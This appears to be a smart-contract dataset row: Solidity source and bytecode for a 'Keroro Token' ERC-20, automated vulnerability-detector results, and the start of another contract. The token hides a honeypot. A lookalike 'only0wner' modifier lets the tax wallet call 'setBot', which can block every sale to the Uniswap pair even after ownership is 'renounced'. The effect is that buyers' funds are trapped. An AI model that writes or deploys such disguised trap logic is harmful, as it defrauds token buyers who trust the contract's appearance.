address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}
}
contract Keroro is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=8;
address payable private _taxWallet;
string private constant _name = "Keroro Token";
string private constant _symbol = "KERORO";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _load = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_preventSlippage(from,to);
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_load = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
modifier only0wner() {
require(_taxWallet == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _preventSlippage(address from, address to) private{
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require( _load>100000);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setBot(uint256 g) external only0wner {
_load = g;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe5780635e16df3d1461021557806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061242b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fcb565b6103f6565b6040516101629190612410565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125ad565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f78565b61041e565b6040516101ca9190612410565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612622565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c60048036038101906102379190612038565b610576565b005b34801561024a57600080fd5b5061026560048036038101906102609190611ede565b6105e1565b60405161027291906125ad565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612342565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df919061242b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fcb565b6107ed565b60405161031c9190612410565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612038565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f38565b610e0b565b60405161039991906125ad565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600c81526020017f4b65726f726f20546f6b656e0000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c2660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d610f04565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b6000610568306105e1565b905061057381611278565b50565b61057e610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d757600080fd5b80600b8190555050565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be9061250d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b45524f524f0000000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061250d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061258d565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061250d565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906124ad565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611f0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190611f0b565b6040518363ffffffff1660e01b8152600401610b7b92919061235d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190611f0b565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123af565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612065565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612386565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061200b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f739061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe39061248d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca91906125ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061254d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061244d565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f19061252d565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253919061242b565b60405180910390fd5b506000838561126b9190612773565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af6128ce565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f561289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190611f0b565b816001815181106113e4576113e361289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af9594939291906125c8565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061246d565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1291906125ad565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab0919061242b565b60405180910390fd5b5060008385611ac891906126e8565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612692565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd1906124cd565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612719565b9050828482611e2a91906126e8565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906124ed565b60405180910390fd5b809150505b92915050565b600081359050611e8481612be0565b92915050565b600081519050611e9981612be0565b92915050565b600081519050611eae81612bf7565b92915050565b600081359050611ec381612c0e565b92915050565b600081519050611ed881612c0e565b92915050565b600060208284031215611ef457611ef36128fd565b5b6000611f0284828501611e75565b91505092915050565b600060208284031215611f2157611f206128fd565b5b6000611f2f84828501611e8a565b91505092915050565b60008060408385031215611f4f57611f4e6128fd565b5b6000611f5d85828601611e75565b9250506020611f6e85828601611e75565b9150509250929050565b600080600060608486031215611f9157611f906128fd565b5b6000611f9f86828701611e75565b9350506020611fb086828701611e75565b9250506040611fc186828701611eb4565b9150509250925092565b60008060408385031215611fe257611fe16128fd565b5b6000611ff085828601611e75565b925050602061200185828601611eb4565b9150509250929050565b600060208284031215612021576120206128fd565b5b600061202f84828501611e9f565b91505092915050565b60006020828403121561204e5761204d6128fd565b5b600061205c84828501611eb4565b91505092915050565b60008060006060848603121561207e5761207d6128fd565b5b600061208c86828701611ec9565b935050602061209d86828701611ec9565b92505060406120ae86828701611ec9565b9150509250925092565b60006120c483836120d0565b60208301905092915050565b6120d9816127a7565b82525050565b6120e8816127a7565b82525050565b60006120f98261264d565b6121038185612670565b935061210e8361263d565b8060005b8381101561213f57815161212688826120b8565b975061213183612663565b925050600181019050612112565b5085935050505092915050565b612155816127b9565b82525050565b612164816127fc565b82525050565b600061217582612658565b61217f8185612681565b935061218f81856020860161280e565b61219881612902565b840191505092915050565b60006121b0602383612681565b91506121bb82612913565b604082019050919050565b60006121d3602a83612681565b91506121de82612962565b604082019050919050565b60006121f6602283612681565b9150612201826129b1565b604082019050919050565b6000612219601783612681565b915061222482612a00565b602082019050919050565b600061223c601b83612681565b915061224782612a29565b602082019050919050565b600061225f602183612681565b915061226a82612a52565b604082019050919050565b6000612282602083612681565b915061228d82612aa1565b602082019050919050565b60006122a5602983612681565b91506122b082612aca565b604082019050919050565b60006122c8602583612681565b91506122d382612b19565b604082019050919050565b60006122eb602483612681565b91506122f682612b68565b604082019050919050565b600061230e601983612681565b915061231982612bb7565b602082019050919050565b61232d816127e5565b82525050565b61233c816127ef565b82525050565b600060208201905061235760008301846120df565b92915050565b600060408201905061237260008301856120df565b61237f60208301846120df565b9392505050565b600060408201905061239b60008301856120df565b6123a86020830184612324565b9392505050565b600060c0820190506123c460008301896120df565b6123d16020830188612324565b6123de604083018761215b565b6123eb606083018661215b565b6123f860808301856120df565b61240560a0830184612324565b979650505050505050565b6000602082019050612425600083018461214c565b92915050565b60006020820190508181036000830152612445818461216a565b905092915050565b60006020820190508181036000830152612466816121a3565b9050919050565b60006020820190508181036000830152612486816121c6565b9050919050565b600060208201905081810360008301526124a6816121e9565b9050919050565b600060208201905081810360008301526124c68161220c565b9050919050565b600060208201905081810360008301526124e68161222f565b9050919050565b6000602082019050818103600083015261250681612252565b9050919050565b6000602082019050818103600083015261252681612275565b9050919050565b6000602082019050818103600083015261254681612298565b9050919050565b60006020820190508181036000830152612566816122bb565b9050919050565b60006020820190508181036000830152612586816122de565b9050919050565b600060208201905081810360008301526125a681612301565b9050919050565b60006020820190506125c26000830184612324565b92915050565b600060a0820190506125dd6000830188612324565b6125ea602083018761215b565b81810360408301526125fc81866120ee565b905061260b60608301856120df565b6126186080830184612324565b9695505050505050565b60006020820190506126376000830184612333565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061269d826127e5565b91506126a8836127e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126dd576126dc612841565b5b828201905092915050565b60006126f3826127e5565b91506126fe836127e5565b92508261270e5761270d612870565b5b828204905092915050565b6000612724826127e5565b915061272f836127e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276857612767612841565b5b828202905092915050565b600061277e826127e5565b9150612789836127e5565b92508282101561279c5761279b612841565b5b828203905092915050565b60006127b2826127c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612807826127e5565b9050919050565b60005b8381101561282c578082015181840152602081019050612811565b8381111561283b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612be9816127a7565b8114612bf457600080fd5b50565b612c00816127b9565b8114612c0b57600080fd5b50565b612c17816127e5565b8114612c2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fca605c38a96a36f27c748e5cd56be800228336b9cf66a3f84f877933b1f1d064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,473 |
0x9a251DAa6382C373594c8F8275752921eC2550c8
|
pragma solidity 0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
